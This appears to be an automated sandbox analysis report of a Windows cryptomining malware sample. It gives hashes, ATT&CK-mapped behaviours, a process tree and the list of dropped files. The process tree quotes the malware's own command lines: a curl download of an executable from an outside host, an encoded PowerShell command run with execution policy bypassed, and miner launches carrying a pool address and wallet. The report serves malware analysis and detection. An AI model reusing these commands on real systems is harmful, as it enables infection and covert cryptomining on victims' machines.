xmrig | 0f2110d51a9e3d9e12866ac0ba7b216e050778999c6bc1faaaeebfd356295edc

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 03:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe
Size 732KB
Sample261110-d16b7aywdv
SHA256 0f2110d51a9e3d9e12866ac0ba7b216e050778999c6bc1faaaeebfd356295edc
MD5 d44d88db2f9cab3915a6d68c25927f82
SHA1 1bf47b3cb5bc07d7889929f58ca8a4bcf050ec36
SHA512 fc1610958d211a9ba37c27d258ce2f1c25ba014496f941485f99eb1af9ae13c6c45671497b311db767778b0be6253be9e082df6bab53611f4af8b8ef2e840f4c
SSDEEP 12288:OaGLaTc94QOeY7G/3DD8SUtP0puQKCOZ+jUZgQSr79eOgO9c1xxLrXxdp0h5q:N4lpkSUd0puQn4+jxQSr7eucXpxdUq
TLSH
T105F40107F2D543F9C826C57885A51622FAB47C944B50A6FFA3845B5B0E367D88F3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery xmrig miner persistence privilege_escalation spyware

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 11 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84
PID 4112 created 2624	4112	webproxy4200_4e42.exe	84

XMRig Miner payload 19 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c499-55.dat	family_xmrig
behavioral2/files/0x000d00000001c499-55.dat	xmrig
behavioral2/memory/4112-58-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/1992-62-0x00007FF69A060000-0x00007FF69A8BA000-memory.dmp	xmrig
behavioral2/memory/4112-64-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-70-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4112-75-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-76-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4644-87-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4112-90-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-96-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4112-101-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-102-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4112-108-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-113-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4644-120-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4112-125-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp	xmrig
behavioral2/memory/4644-126-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig
behavioral2/memory/4644-137-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp	xmrig

Custom signature

Detects executables referencing virtualization MAC addresses 1 IoCs

resource	yara_rule
behavioral2/files/0x001200000001c48e-38.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Downloads MZ/PE file 3 IoCs

flow	pid	Process
19	4112	webproxy4200_4e42.exe
19	4112	webproxy4200_4e42.exe
5	4556	curl.exe

Executes dropped EXE 12 IoCs

pid	Process
5152	0e598e3c0.exe
3004	0e598e3c0.exe
4112	webproxy4200_4e42.exe
5776	wildrig.exe
1988	wildrig.exe
5200	wildrig.exe
4264	wildrig.exe
2908	wildrig.exe
4128	wildrig.exe
3264	wildrig.exe
3164	wildrig.exe
5692	wildrig.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4112 set thread context of 1992	4112	webproxy4200_4e42.exe	102
PID 4112 set thread context of 4644	4112	webproxy4200_4e42.exe	104

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\LLVM\illuiems.txt	explorer.exe
File opened for modification	C:\Program Files\Microsoft Visual Studio\scrauenteer.pdf	explorer.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	webproxy4200_4e42.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	webproxy4200_4e42.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	webproxy4200_4e42.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	webproxy4200_4e42.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
5776	wildrig.exe
5776	wildrig.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
1988	wildrig.exe
1988	wildrig.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe
4112	webproxy4200_4e42.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2624	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe
Token: SeProfSingleProcessPrivilege	3564	powershell.exe
Token: SeIncBasePriorityPrivilege	3564	powershell.exe
Token: SeCreatePagefilePrivilege	3564	powershell.exe
Token: SeBackupPrivilege	3564	powershell.exe
Token: SeRestorePrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeSystemEnvironmentPrivilege	3564	powershell.exe
Token: SeRemoteShutdownPrivilege	3564	powershell.exe
Token: SeUndockPrivilege	3564	powershell.exe
Token: SeManageVolumePrivilege	3564	powershell.exe
Token: 33	3564	powershell.exe
Token: 34	3564	powershell.exe
Token: 35	3564	powershell.exe
Token: 36	3564	powershell.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeLockMemoryPrivilege	1992	notepad.exe
Token: SeLockMemoryPrivilege	1992	notepad.exe
Token: SeLockMemoryPrivilege	4644	notepad.exe
Token: SeLockMemoryPrivilege	4644	notepad.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe
Token: SeCreatePagefilePrivilege	2624	explorer.exe
Token: SeShutdownPrivilege	2624	explorer.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2984	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe
1992	notepad.exe
4644	notepad.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2984 wrote to memory of 2624	2984	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe	84
PID 2984 wrote to memory of 2624	2984	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe	84
PID 2984 wrote to memory of 2624	2984	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe	84
PID 2984 wrote to memory of 2624	2984	2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe	84
PID 2624 wrote to memory of 4556	2624	explorer.exe	91
PID 2624 wrote to memory of 5152	2624	explorer.exe	94
PID 5152 wrote to memory of 3564	5152	0e598e3c0.exe	95
PID 2624 wrote to memory of 1476	2624	explorer.exe
PID 5152 wrote to memory of 4112	5152	0e598e3c0.exe	100
PID 4112 wrote to memory of 1992	4112	webproxy4200_4e42.exe	102
PID 4112 wrote to memory of 5776	4112	webproxy4200_4e42.exe	103
PID 4112 wrote to memory of 4644	4112	webproxy4200_4e42.exe	104
PID 4112 wrote to memory of 1988	4112	webproxy4200_4e42.exe	106
PID 4112 wrote to memory of 5200	4112	webproxy4200_4e42.exe	107
PID 4112 wrote to memory of 4264	4112	webproxy4200_4e42.exe	108
PID 4112 wrote to memory of 2908	4112	webproxy4200_4e42.exe	109
PID 4112 wrote to memory of 4128	4112	webproxy4200_4e42.exe	110
PID 4112 wrote to memory of 3264	4112	webproxy4200_4e42.exe	111
PID 4112 wrote to memory of 3164	4112	webproxy4200_4e42.exe	112
PID 4112 wrote to memory of 5692	4112	webproxy4200_4e42.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Users\Admin\AppData\Local\Temp\2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-11-09_d44d88db2f9cab3915a6d68c25927f82_cobalt-strike_icedid_ryuk_satacom.exe"
  2⤵
  - Enumerates connected drives
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2984
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e598e3c0.exe" "https://cartkee.cc/vlc_service.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4556
- C:\Users\Admin\AppData\Local\Temp\0e598e3c0.exe
  "C:\Users\Admin\AppData\Local\Temp\0e598e3c0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAD0AWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAoACQAaQBuAHAAdQB0AHwATwB1AHQALQBTAHQAcgBpAG4AZwApACkAOwAmACQAcwAgAC4AXABkAGUAZgAuAHAAcwAxACAAQwA6AFwA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3564
- - C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\Runtime\webproxy4200_4e42.exe
    "C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\Runtime\webproxy4200_4e42.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Downloads MZ/PE file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4112
- C:\Windows\system32\notepad.exe
  "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c2c0c0f160758305c161d39185c110155040a2407065b001b2558105f100e0e1f3e2e10585b0f76521a1f5c1827293f1c30572e0f1d1906211d0f300109072f33370f2c5b350e0c045f16280c085f20295a503a7229551a2b2b0f2b0238074440194e2716080c4e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c4259
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1992
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5776
- C:\Windows\system32\notepad.exe
  "C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e310b02054029051e01182011011d40311602535a75574d441b615c2c0c0f160758305c161d39185c110155040a2407065b001b2558105f100e0e1f3e2e10585b0f76521a1f5c1827293f1c30572e0f1d1906211d0f300109072f33370f2c5b350e0c045f16280c085f20295a503a7229551a2b2b0f2b0238074440194e2716080c4e6c4919051d6149400a1e34490008166c10051b0b20001e4406280a195456714440084e331c4259
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4644
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1988
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5200
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:4128
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:3264
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\wildrig.exe
  "C:\wildrig.exe" --algo pearlhash --url pool.pearlhash.xyz:9000 --worker test --user prl1pqyjxx63e5fulaehuymdhnuc0c7dy3del7lyhxu69s54dmae4ymzsd5v378 --pass x --gpu-fan-speed 80 --no-color
  2⤵
  - Executes dropped EXE
  PID:5692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1312

C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\0e598e3c0.exe
C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\0e598e3c0.exe
1⤵
- Executes dropped EXE
PID:3004

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0e598e3c0.exe

Path C:\Users\Admin\AppData\Local\Temp\0e598e3c0.exe
Size 9.7MB
SHA256 4ccdb15f9c75cf0d5cd6660c5f444fb6fb88b0c000ea01976d3871e84cd48b9a
MD5 d79abe59beb664d85a813423beae529e
SHA1 69e839abd8d4b6847827b9916d5514eb2ab4a423
SHA512 35c54ec76cbdb2c9c6a3edb282166de9ff1fa3b098545db2cdbbe91fe74ac1f188dfee45436206b1841acaf57a88acddc9cc23cafd3d8969c933c8015b50565b
SSDEEP 98304:Rxwi3x9OZGLLHeXkiib7DK+y0AHoFID3a754z9MoeqXEZDbjw:Ae9RLCXk33e+ybhD3ayCAXODbjw
TLSH
T103A6F10BF8A105FAD1EAF13085766546BB717C845B31A3DB1A84B6283F72BD0AC75738
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webproxy4200_4e42.exe

Path C:\Users\Admin\AppData\Roaming\Adobe\ARM\Services\Runtime\webproxy4200_4e42.exe
Size 8.0MB
SHA256 6e0cb69b37d223d45aaa1c294019ea312bd49ae8f6f880dd5f32d5b9244bc411
MD5 a06a3c676075f132cf5497037e6df068
SHA1 99a8d28cc336a469d3446c074c8f8d04787b84e8
SHA512 708e7aeabc16f98955639b97362f74d88905e2fd15b65c57774174c3ce34d1818d208af666f5ec233afc70794216bec6ac00d216bef64aae34137e02028a84ef
SSDEEP 98304:Y2Tw6TmhktTyeOiMf85W8WvE8XhH/jYsj7qrmS6PDBljCkIXzJcPlL72OrUGvlTO:kSmutT+gJQL7pUGvFBk8k
TLSH
T1CB868C17E6A101E8C86BD178C6568633E7B1B8585330F6DB16A4D7761F33AE05E3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wildrig.exe

Path C:\wildrig.exe
Size 42.5MB
SHA256 1fae6f3af9bcbb27b352bffb0a0e8912f6b7515126bf357c302be7cf52f712d5
MD5 fd7148315c899375a23579a16b8cc93d
SHA1 fbddd3f7b99b5e45b2c9ae4c6f102c9a4d2c4a1f
SHA512 04ca3cd5e48f553081d75d3f6859d2c3154f50b440109c1125cefa1264907bef8416d0b6964f10c7fed9fc2b71855aafc21a8024da492dd34e2434508678c8c4
SSDEEP 786432:c0GIwuEUNQleuszmZ64WCTii+Zlva6wiT2eMue34Nd6InfWRcBlDOZrJV9cT:c0GkNsEiZBTQwiT2ehd6In0cPGrl
TLSH
T124A7334254F842ACC885C734D24A3EEDF5E8BC564C79A03F7FC52846AA7CE96C4E1936
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1988-78-0x00007FF6A4EB0000-0x00007FF6A5EB0000-memory.dmp

Download

memory/1988-77-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download

memory/1992-62-0x00007FF69A060000-0x00007FF69A8BA000-memory.dmp

Download

memory/1992-56-0x000002D1F3460000-0x000002D1F3480000-memory.dmp

Download

memory/2624-44-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-2-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-21-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-27-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-34-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-33-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-35-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-31-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-36-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-30-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-16-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-13-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-11-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-10-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-8-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-1-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-28-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-26-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-25-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-23-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-22-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-20-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-18-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-17-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-14-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-0-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-40-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-5-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-6-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-47-0x0000000000700000-0x0000000000701000-memory.dmp

Download

memory/2624-24-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-50-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-9-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-4-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-7-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2624-3-0x0000000002E90000-0x0000000002F3E000-memory.dmp

Download

memory/2908-116-0x00007FF6FA4E0000-0x00007FF6FB4E0000-memory.dmp

Download

memory/2908-115-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download

memory/3564-43-0x00000218E2390000-0x00000218E23B2000-memory.dmp

Download

memory/4112-125-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-75-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-58-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-101-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-90-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-108-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4112-64-0x00007FF7369E0000-0x00007FF7371DF000-memory.dmp

Download

memory/4128-128-0x00007FF6CBC00000-0x00007FF6CCC00000-memory.dmp

Download

memory/4128-127-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download

memory/4264-104-0x00007FF7ACA20000-0x00007FF7ADA20000-memory.dmp

Download

memory/4264-103-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download

memory/4644-102-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-70-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-113-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-120-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-96-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-126-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-87-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-76-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/4644-137-0x00007FF718AD0000-0x00007FF71932A000-memory.dmp

Download

memory/5200-92-0x00007FF723EE0000-0x00007FF724EE0000-memory.dmp

Download

memory/5200-91-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download

memory/5776-66-0x00007FF6D4250000-0x00007FF6D5250000-memory.dmp

Download

memory/5776-65-0x00007FF9BEC10000-0x00007FF9BEC12000-memory.dmp

Download